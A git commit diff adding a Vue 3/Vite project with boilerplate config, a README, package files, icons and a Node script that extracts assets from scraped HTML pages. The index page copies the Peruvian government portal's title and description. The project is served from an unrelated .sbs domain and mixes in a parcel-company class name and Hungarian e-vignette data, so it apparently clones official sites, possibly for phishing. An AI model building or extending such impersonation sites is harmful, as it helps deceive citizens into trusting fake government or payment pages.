This commit is contained in:
telangpu
2026-04-28 00:42:28 +08:00
parent 2fd1a741cf
commit cf55c2cad6
2522 changed files with 566733 additions and 13 deletions

5
ww_gb_post_temp1/.env Normal file
View File

@@ -0,0 +1,5 @@
# 平台本地运行端口号
VITE_PORT = 8848
# 是否隐藏首页 隐藏 true 不隐藏 false 勿删除VITE_HIDE_HOME只需在.env文件配置
VITE_HIDE_HOME = false

View File

@@ -0,0 +1,11 @@
# 平台本地运行端口号
VITE_PORT = 8848
# 开发环境读取配置文件路径
VITE_PUBLIC_PATH = ./
# 网站前缀
VITE_BASE_URL = "ccccs12212c.ac.sabiwala.sbs"
# 开发环境路由历史模式Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数"
VITE_ROUTER_HISTORY = "hash"

View File

@@ -0,0 +1,16 @@
# 网站前缀
VITE_BASE_URL=/
# 线上环境平台打包路径
VITE_PUBLIC_PATH = ./
# 线上环境路由历史模式Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数"
VITE_ROUTER_HISTORY = "hash"
# 是否在打包时使用cdn替换本地库 替换 true 不替换 false
VITE_CDN = false
# 是否启用gzip压缩或brotli压缩分两种情况删除原始文件和不删除原始文件
# 压缩时不删除原始文件的配置gzip、brotli、both同时开启 gzip 与 brotli 压缩、none不开启压缩默认
# 压缩时删除原始文件的配置gzip-clear、brotli-clear、both-clear同时开启 gzip 与 brotli 压缩、none不开启压缩默认
VITE_COMPRESSION = "none"

View File

@@ -0,0 +1,25 @@
/* eslint-env node */
require('@rushstack/eslint-patch/modern-module-resolution')
module.exports = {
root: true,
'extends': [
'plugin:vue/vue3-essential',
'eslint:recommended',
'@vue/eslint-config-typescript',
'@vue/eslint-config-prettier'
],
overrides: [
{
files: [
'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}'
],
'extends': [
'plugin:cypress/recommended'
]
}
],
parserOptions: {
ecmaVersion: 'latest'
}
}

28
ww_gb_post_temp1/.gitignore vendored Normal file
View File

@@ -0,0 +1,28 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
.DS_Store
dist
dist-ssr
coverage
*.local
/cypress/videos/
/cypress/screenshots/
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@@ -0,0 +1 @@
{}

View File

@@ -0,0 +1,3 @@
{
"recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
}

View File

@@ -0,0 +1,68 @@
# vue3-clean-architecture
This template should help get you started developing with Vue 3 in Vite.
## Recommended IDE Setup
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
## Type Support for `.vue` Imports in TS
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
1. Disable the built-in TypeScript Extension
1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
## Customize configuration
See [Vite Configuration Reference](https://vitejs.dev/config/).
## Project Setup
```sh
npm install
```
### Compile and Hot-Reload for Development
```sh
npm run dev
```
### Type-Check, Compile and Minify for Production
```sh
npm run build
```
### Run Unit Tests with [Vitest](https://vitest.dev/)
```sh
npm run test:unit
```
### Run End-to-End Tests with [Cypress](https://www.cypress.io/)
```sh
npm run test:e2e:dev
```
This runs the end-to-end tests against the Vite development server.
It is much faster than the production build.
But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments):
```sh
npm run build
npm run test:e2e
```
### Lint with [ESLint](https://eslint.org/)
```sh
npm run lint
```

View File

@@ -0,0 +1,8 @@
import { defineConfig } from 'cypress'
export default defineConfig({
e2e: {
specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}',
baseUrl: 'http://localhost:4173'
}
})

View File

@@ -0,0 +1,8 @@
// https://docs.cypress.io/api/introduction/api.html
describe('My First Test', () => {
it('visits the app root url', () => {
cy.visit('/')
cy.contains('h1', 'You did it!')
})
})

View File

@@ -0,0 +1,10 @@
{
"extends": "@vue/tsconfig/tsconfig.web.json",
"include": ["./**/*", "../support/**/*"],
"compilerOptions": {
"isolatedModules": false,
"target": "es5",
"lib": ["es5", "dom"],
"types": ["cypress"]
}
}

View File

@@ -0,0 +1,5 @@
{
"name": "Using fixtures to represent data",
"email": "hello@cypress.io",
"body": "Fixtures are a great way to mock data for responses to routes"
}

View File

@@ -0,0 +1,39 @@
/// <reference types="cypress" />
// ***********************************************
// This example commands.ts shows you how to
// create various custom commands and overwrite
// existing commands.
//
// For more comprehensive examples of custom
// commands please read more here:
// https://on.cypress.io/custom-commands
// ***********************************************
//
//
// -- This is a parent command --
// Cypress.Commands.add('login', (email, password) => { ... })
//
//
// -- This is a child command --
// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... })
//
//
// -- This is a dual command --
// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... })
//
//
// -- This will overwrite an existing command --
// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... })
//
// declare global {
// namespace Cypress {
// interface Chainable {
// login(email: string, password: string): Chainable<void>
// drag(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
// dismiss(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
// visit(originalFn: CommandOriginalFn, url: string, options: Partial<VisitOptions>): Chainable<Element>
// }
// }
// }
export {}

View File

@@ -0,0 +1,20 @@
// ***********************************************************
// This example support/index.js is processed and
// loaded automatically before your test files.
//
// This is a great place to put global configuration and
// behavior that modifies Cypress.
//
// You can change the location of this file or turn off
// automatically serving support files with the
// 'supportFile' configuration option.
//
// You can read more here:
// https://on.cypress.io/configuration
// ***********************************************************
// Import commands.js using ES2015 syntax:
import './commands'
// Alternatively you can use CommonJS syntax:
// require('./commands')

4
ww_gb_post_temp1/env.d.ts vendored Normal file
View File

@@ -0,0 +1,4 @@
/// <reference types="vite/client" />
interface ImportMetaEnv {
VITE_BASE_URL: string;
}

View File

@@ -0,0 +1,26 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<!-- <link href="/ww_gb_post_temp1/static/css/byjhmwfs6852.css" rel="stylesheet"> -->
<meta charset="utf-8">
<meta
content="GOB.PE: único punto de contacto digital del Estado Peruano con la ciudadanía, basado en una experiencia sencilla, consistente e intuitiva de acceso a información institucional, trámites y servicios públicos digitales."
name="description">
<title> Plataforma del Estado Peruano </title>
<link href="/ww_gb_post_temp1/static/img/img_b3c3d482dfc8_io71ux.png" rel="icon" sizes="192x192" type="image/png">
</head>
<body class="dpdgroup_site">
<div id="app"></div>
<script type="module" src="/src/main.ts"></script>
</body>
</html>

View File

@@ -0,0 +1,396 @@
/**
* 静态资源提取脚本
* 从 header.html 和 footer.html 中提取 base64 图片、内联 CSS 和字体
*
* 功能:
* 1. 提取 base64 图片到 assets/images/
* 2. 提取所有内联 CSS 到 assets/css/
* 3. 提取字体文件到 assets/fonts/
* 4. 去除所有 meta 标签
* 5. 去除所有 script 标签
* 6. 只保留 body 内的内容
* 7. 把引入的 style 放到顶部
* 8. 给所有 HTML 属性值自动加上双引号
*
* 使用方法:
* - node extract-resources.js # 正常运行,从备份恢复
* - node extract-resources.js --keep # 保持当前文件,不从备份恢复
*/
const fs = require('fs');
const path = require('path');
// 检查命令行参数
const KEEP_CURRENT = process.argv.includes('--keep');
const PUBLIC_DIR = path.join(__dirname, 'public/ww_gb_post_temp1');
const STATIC_DIR = path.join(__dirname, 'public/ww_gb_post_temp1/st');
const FILES_TO_PROCESS = ['footer.html'];
// const FILES_TO_PROCESS = ['home.html', 'page2.html', 'page3.html', 'page4.html', 'page5.html'];
// 创建资源目录 (public)
const ASSETS_DIR = path.join(STATIC_DIR, 'assets');
const IMG_DIR = path.join(ASSETS_DIR, 'images');
const CSS_DIR = path.join(ASSETS_DIR, 'css');
const FONTS_DIR = path.join(ASSETS_DIR, 'fonts');
// 清理旧资源文件的函数
function cleanDirectory(dir) {
if (fs.existsSync(dir)) {
const files = fs.readdirSync(dir);
files.forEach(file => {
const filePath = path.join(dir, file);
if (fs.statSync(filePath).isFile()) {
fs.unlinkSync(filePath);
}
});
}
}
[ASSETS_DIR, IMG_DIR, CSS_DIR, FONTS_DIR].forEach(dir => {
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true });
}
});
// 清理旧资源文件
console.log('🧹 清理旧资源文件...');
cleanDirectory(IMG_DIR);
cleanDirectory(CSS_DIR);
cleanDirectory(FONTS_DIR);
console.log('🚀 开始提取静态资源...\n');
console.log(`📂 工作目录: ${PUBLIC_DIR}\n`);
FILES_TO_PROCESS.forEach(filename => {
const filePath = path.join(PUBLIC_DIR, filename);
const backupPath = filePath + '.backup';
if (!fs.existsSync(filePath)) {
console.log(`⚠️ 文件不存在: ${filename}`);
return;
}
// 创建备份
if (!fs.existsSync(backupPath)) {
fs.copyFileSync(filePath, backupPath);
console.log(`📄 处理文件: ${filename} (已创建备份)`);
} else if (!KEEP_CURRENT) {
// 如果备份存在且未指定 --keep从备份恢复
fs.copyFileSync(backupPath, filePath);
console.log(`📄 处理文件: ${filename} (从备份恢复)`);
} else {
console.log(`📄 处理文件: ${filename} (保持当前版本)`);
}
let content = fs.readFileSync(filePath, 'utf8');
const originalSize = content.length;
let imageCount = 0;
let cssCount = 0;
let fontCount = 0;
// 1. 提取 base64 图片
console.log(' 提取 base64 图片...');
content = content.replace(/url\s*\(\s*["']?(data:image\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
(match, dataUrl, imageType, base64Data) => {
imageCount++;
// 修复图片扩展名,处理 svg+xml 等情况
let ext = imageType.split('/').pop();
if (ext.includes('svg')) {
ext = 'svg';
} else if (ext.includes('+')) {
ext = ext.split('+')[0];
}
const imageName = `${filename.replace('.html', '')}_img_${imageCount}.${ext}`;
const imagePath = path.join(IMG_DIR, imageName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
return `url("/ww_gb_post_temp1/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
}
}
);
// 2. 提取 img src 中的 base64 (有引号的)
content = content.replace(/<img([^>]*?)src\s*=\s*["'](data:image\/([^;]+);base64,([^"']+))["']([^>]*)>/gi,
(match, beforeAttrs, dataUrl, imageType, base64Data, afterAttrs) => {
imageCount++;
// 修复图片扩展名
let ext = imageType.split('/').pop();
if (ext.includes('svg')) {
ext = 'svg';
} else if (ext.includes('+')) {
ext = ext.split('+')[0];
}
const imageName = `${filename.replace('.html', '')}_inline_${imageCount}.${ext}`;
const imagePath = path.join(IMG_DIR, imageName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/ww_gb_post_temp1/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
}
}
);
// 3. 提取 img src 中的 base64 (没有引号的,直到遇到空白字符或>)
content = content.replace(/<img([^>]*?)src\s*=\s*(data:image\/([^;\s>]+);base64,([^\s>]+))([^>]*)>/gi,
(match, beforeAttrs, dataUrl, imageType, base64Data, afterAttrs) => {
imageCount++;
// 修复图片扩展名
let ext = imageType.split('/').pop();
if (ext.includes('svg')) {
ext = 'svg';
} else if (ext.includes('+')) {
ext = ext.split('+')[0];
}
const imageName = `${filename.replace('.html', '')}_inline_${imageCount}.${ext}`;
const imagePath = path.join(IMG_DIR, imageName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
// 确保属性间有正确的空格
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
return `<img${before} src="/ww_gb_post_temp1/st/assets/images/${imageName}"${after}>`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
}
}
);
// 4. 提取 CSS 变量中的 base64
content = content.replace(/--[^:]+:\s*url\s*\(\s*["']?(data:image\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
(match, dataUrl, imageType, base64Data) => {
imageCount++;
// 修复图片扩展名
let ext = imageType.split('/').pop();
if (ext.includes('svg')) {
ext = 'svg';
} else if (ext.includes('+')) {
ext = ext.split('+')[0];
}
const imageName = `${filename.replace('.html', '')}_var_${imageCount}.${ext}`;
const imagePath = path.join(IMG_DIR, imageName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(imagePath, buffer);
const varName = match.split(':')[0];
return `${varName}: url("/ww_gb_post_temp1/st/assets/images/${imageName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
return match;
}
}
);
// 5. 提取所有内联 CSS (style 标签)
console.log(' 提取内联 CSS...');
const cssLinks = []; // 用于收集所有 CSS 链接
const styleMatches = content.match(/<style[^>]*>([\s\S]*?)<\/style>/gi);
if (styleMatches && styleMatches.length > 0) {
styleMatches.forEach((styleTag, index) => {
const cssContent = styleTag.replace(/<\/?style[^>]*>/gi, '').trim();
// 提取所有 CSS不管大小
if (cssContent.length > 0) {
cssCount++;
const cssName = `${filename.replace('.html', '')}_styles_${cssCount}.css`;
const cssPath = path.join(CSS_DIR, cssName);
fs.writeFileSync(cssPath, cssContent);
// 收集 CSS 链接,稍后会统一放到顶部
cssLinks.push(`<link rel="stylesheet" href="/ww_gb_post_temp1/st/assets/css/${cssName}">`);
// 先删除原 style 标签
content = content.replace(styleTag, '');
}
});
}
// 6. 提取字体 (data:font)
console.log(' 提取字体文件...');
content = content.replace(/url\s*\(\s*["']?(data:font\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
(match, dataUrl, fontType, base64Data) => {
fontCount++;
const fontExt = fontType.includes('woff2') ? 'woff2' :
fontType.includes('woff') ? 'woff' :
fontType.includes('ttf') ? 'ttf' : 'font';
const fontName = `${filename.replace('.html', '')}_font_${fontCount}.${fontExt}`;
const fontPath = path.join(FONTS_DIR, fontName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/ww_gb_post_temp1/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
}
}
);
// 7. 提取 woff2 字体 (特殊处理)
content = content.replace(/url\s*\(\s*data:application\/font-woff2;charset=utf-8;base64,([^)]+)\)/gi,
(match, base64Data) => {
fontCount++;
const fontName = `${filename.replace('.html', '')}_font_${fontCount}.woff2`;
const fontPath = path.join(FONTS_DIR, fontName);
try {
const buffer = Buffer.from(base64Data, 'base64');
fs.writeFileSync(fontPath, buffer);
return `url("/ww_gb_post_temp1/st/assets/fonts/${fontName}")`;
} catch (e) {
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
return match;
}
}
);
// 8. 去除 DOCTYPE 声明
console.log(' 去除 DOCTYPE 和 HTML 注释...');
let removedCount = 0;
if (content.match(/<!DOCTYPE[^>]*>/i)) {
content = content.replace(/<!DOCTYPE[^>]*>/gi, '');
removedCount++;
}
// 去除所有 HTML 注释(包括多行注释)
const commentCount = (content.match(/<!--[\s\S]*?-->/g) || []).length;
content = content.replace(/<!--[\s\S]*?-->/g, '');
removedCount += commentCount;
if (removedCount > 0) {
console.log(` - 已删除 DOCTYPE 和 ${commentCount} 个 HTML 注释`);
}
// 9. 去除所有 meta、title 和 link 标签
console.log(' 去除 meta、title 和 link 标签...');
const metaCount = (content.match(/<meta[^>]*>/gi) || []).length;
content = content.replace(/<meta[^>]*>/gi, '');
const titleCount = (content.match(/<title[^>]*>[\s\S]*?<\/title>/gi) || []).length;
content = content.replace(/<title[^>]*>[\s\S]*?<\/title>/gi, '');
// 去除 link 标签canonical、icon、preload 等,但不包括我们生成的 stylesheet
const linkCount = (content.match(/<link(?![^>]*rel=["']stylesheet["'])[^>]*>/gi) || []).length;
content = content.replace(/<link(?![^>]*rel=["']stylesheet["'])[^>]*>/gi, '');
if (metaCount > 0 || titleCount > 0 || linkCount > 0) {
console.log(` - 已删除 ${metaCount} 个 meta、${titleCount} 个 title 和 ${linkCount} 个 link 标签`);
}
// 10. 去除所有 script 标签(包括内联和外部脚本)
console.log(' 去除 script 标签...');
const scriptCount = (content.match(/<script[^>]*>[\s\S]*?<\/script>/gi) || []).length;
content = content.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
if (scriptCount > 0) {
console.log(` - 已删除 ${scriptCount} 个 script 标签`);
}
// 11. 提取 body 内容并重组 HTML
console.log(' 重组 HTML 结构...');
const bodyMatch = content.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
if (bodyMatch) {
const bodyContent = bodyMatch[1];
// 重新构建 HTMLCSS 链接 + body 内容
let newContent = '';
// 将所有 CSS 链接放到顶部
if (cssLinks.length > 0) {
newContent = cssLinks.join('\n') + '\n\n';
}
// 添加 body 内容
newContent += bodyContent;
content = newContent;
console.log(` - 已提取 body 内容并移除其他标签`);
} else {
// 如果找不到 body 标签,尝试去除 html、head、body 等标签
content = content.replace(/<\/?html[^>]*>/gi, '');
content = content.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
content = content.replace(/<\/?body[^>]*>/gi, '');
// 将 CSS 链接放到最前面
if (cssLinks.length > 0) {
content = cssLinks.join('\n') + '\n\n' + content;
}
console.log(` - 已去除 HTML 结构标签`);
}
// 清理多余的空行
content = content.replace(/\n\s*\n\s*\n/g, '\n\n');
// 12. 给所有HTML属性值加上引号
console.log(' 给HTML属性加上引号...');
// 匹配没有引号的属性值:属性名=值(值不以引号开头,且到空格或>结束)
// 排除已经有引号的属性
content = content.replace(/(\s+[\w\-:]+)=([^"'\s>][^\s>]*)/g, (match, attrName, attrValue) => {
// 如果属性值为空或只是一个标志,保持原样
if (!attrValue || attrValue === '') {
return match;
}
// 给属性值加上双引号
return `${attrName}="${attrValue}"`;
});
// 保存修改后的文件
const outputPath = path.join(PUBLIC_DIR, filename);
fs.writeFileSync(outputPath, content);
const newSize = content.length;
const reduction = ((originalSize - newSize) / originalSize * 100).toFixed(1);
console.log(` ✅ 完成:`);
console.log(` - 提取图片: ${imageCount}`);
console.log(` - 提取 CSS: ${cssCount}`);
console.log(` - 提取字体: ${fontCount}`);
console.log(` - 删除 meta: ${metaCount}`);
console.log(` - 删除 title: ${titleCount}`);
console.log(` - 删除 link: ${linkCount}`);
console.log(` - 删除 script: ${scriptCount}`);
console.log(` - 原始大小: ${(originalSize / 1024).toFixed(2)} KB`);
console.log(` - 新大小: ${(newSize / 1024).toFixed(2)} KB`);
console.log(` - 减少: ${reduction}%`);
// 验证生成的文件
if (imageCount > 0 || cssCount > 0 || fontCount > 0) {
console.log(` 提示: 请确保资源路径 /ww_gb_post_temp1/st/assets/ 在服务器上可访问\n`);
} else {
console.log(` 未找到可提取的资源\n`);
}
});
console.log('✅ 资源提取完成!');
console.log('\n📁 资源文件位置:');
console.log(` - 图片: ${IMG_DIR}`);
console.log(` - CSS: ${CSS_DIR}`);
console.log(` - 字体: ${FONTS_DIR}`);
console.log('\n✨ 自动优化:');
console.log(' ✅ DOCTYPE 和 HTML 注释已删除');
console.log(' ✅ 所有 meta、title 和 link 标签已删除(保留生成的 stylesheet');
console.log(' ✅ 所有 script 标签已删除');
console.log(' ✅ 所有 style 已提取到 CSS 文件');
console.log(' ✅ 只保留 body 内的内容');
console.log(' ✅ CSS 引用已放到顶部');
console.log(' ✅ 图片扩展名已修复svg+xml → svg');
console.log(' ✅ 使用绝对路径(/ww_gb_post_temp1/st/assets/');
console.log(' ✅ HTML 属性值已自动加上双引号');
console.log('\n💡 提示: 刷新浏览器测试页面,所有资源应该正常加载');

8849
ww_gb_post_temp1/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,59 @@
{
"name": "vue3-clean-architecture",
"version": "0.0.0",
"private": true,
"scripts": {
"dev": "vite",
"build": "run-p type-check build-only",
"preview": "vite preview",
"test:unit": "vitest --environment jsdom --root src/",
"test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'",
"test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'",
"build-only": "vite build",
"type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false",
"lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore",
"zip": "node zip.js",
"prod": "pnpm run build && pnpm run zip"
},
"dependencies": {
"@types/lodash": "^4.17.12",
"axios": "^1.7.7",
"bootstrap": "^5.3.3",
"install": "^0.13.0",
"lodash": "^4.17.21",
"mitt": "^3.0.1",
"moment": "^2.30.1",
"pinia": "^2.2.2",
"socket.io-client": "^4.8.1",
"uuid": "^13.0.0",
"vue": "^3.2.45",
"vue-i18n": "^10.0.4",
"vue-router": "^4.1.6",
"vue-scrollto": "^2.20.0",
"ws": "^8.18.0"
},
"devDependencies": {
"@rushstack/eslint-patch": "^1.1.4",
"@types/jsdom": "^20.0.1",
"@types/node": "^18.11.12",
"@types/uuid": "^11.0.0",
"@vitejs/plugin-vue": "^4.0.0",
"@vue/eslint-config-prettier": "^7.0.0",
"@vue/eslint-config-typescript": "^11.0.0",
"@vue/test-utils": "^2.2.6",
"@vue/tsconfig": "^0.1.3",
"archiver": "^7.0.1",
"cypress": "^12.0.2",
"eslint": "^8.22.0",
"eslint-plugin-cypress": "^2.12.1",
"eslint-plugin-vue": "^9.3.0",
"jsdom": "^20.0.3",
"npm-run-all": "^4.1.5",
"prettier": "^2.7.1",
"start-server-and-test": "^1.15.2",
"typescript": "~4.7.4",
"vite": "^4.0.0",
"vitest": "^0.25.6",
"vue-tsc": "^1.0.12"
}
}

5279
ww_gb_post_temp1/pnpm-lock.yaml generated Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 184 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 634 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 979 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 873 KiB

View File

@@ -0,0 +1,26 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 26.5.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 283.5 283.5" style="enable-background:new 0 0 283.5 283.5;" xml:space="preserve">
<style type="text/css">
.st0{fill:#FF9E25;}
.st1{fill:#FFFFFF;}
</style>
<g>
<g>
<path class="st0" d="M141.7,283.5c-37.9,0-73.5-14.7-100.2-41.5C14.7,215.2,0,179.6,0,141.7c0-37.9,14.7-73.5,41.5-100.2
C68.3,14.7,103.9,0,141.7,0c37.9,0,73.5,14.7,100.2,41.5s41.5,62.4,41.5,100.2S268.7,215.2,242,242
C215.2,268.7,179.6,283.5,141.7,283.5z"/>
<g>
<path class="st1" d="M238,45.5c-25.7-25.7-59.9-39.9-96.3-39.9c-36.4,0-70.5,14.2-96.3,39.9C19.8,71.2,5.6,105.4,5.6,141.7
s14.2,70.5,39.9,96.3c25.7,25.7,59.9,39.9,96.3,39.9s70.5-14.2,96.3-39.9c25.7-25.7,39.9-59.9,39.9-96.3S263.7,71.2,238,45.5z
M234,234c-3.1,3.1-6.2,5.9-9.5,8.6l-21.2-78.5h-49.4l4.6,107c-5.5,0.7-11.1,1.1-16.8,1.1c-5.7,0-11.3-0.4-16.8-1.1l4.6-107H80.2
l-21.2,78.5c-3.3-2.7-6.5-5.6-9.5-8.6c-24.7-24.7-38.2-57.4-38.2-92.3s13.6-67.6,38.2-92.3c19.7-19.7,44.6-32.3,71.7-36.6
l-25.8,95.3H132l4.2-96.8c1.9-0.1,3.7-0.1,5.6-0.1c1.9,0,3.7,0,5.6,0.1l4.2,96.8h36.6l-25.8-95.3c27,4.3,51.9,16.9,71.7,36.6
c24.7,24.7,38.2,57.4,38.2,92.3S258.7,209.4,234,234z"/>
<polygon class="st1" points="30.9,130.5 30.9,141.7 60.5,141.7 60.5,152.9 71.7,152.9 74.7,141.7 208.8,141.7 211.8,152.9
223,152.9 223,141.7 252.6,141.7 252.6,130.5 "/>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
[{"id":"614464d3394878004bd9534f","name":"Hírek","categoryType":"6144419b394878004bd95329","notSearchable":false,"cover":null,"contentCategoryInfos":[]},{"id":"61482b94394878004bd9537d","name":"Header","categoryType":"6144419b394878004bd9532d","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"61482b9c394878004bd9537e","name":"Footer","categoryType":"6144419b394878004bd9532d","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"614831b7394878004bd95394","name":"Kapcsolat","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"6149cee7e277d50050630e5b","name":"Cookie","categoryType":"6144419b394878004bd95329","notSearchable":true,"cover":null,"contentCategoryInfos":[]},{"id":"614c215696e01e004d87f07f","name":"E-matrica Gyakran Ismételt 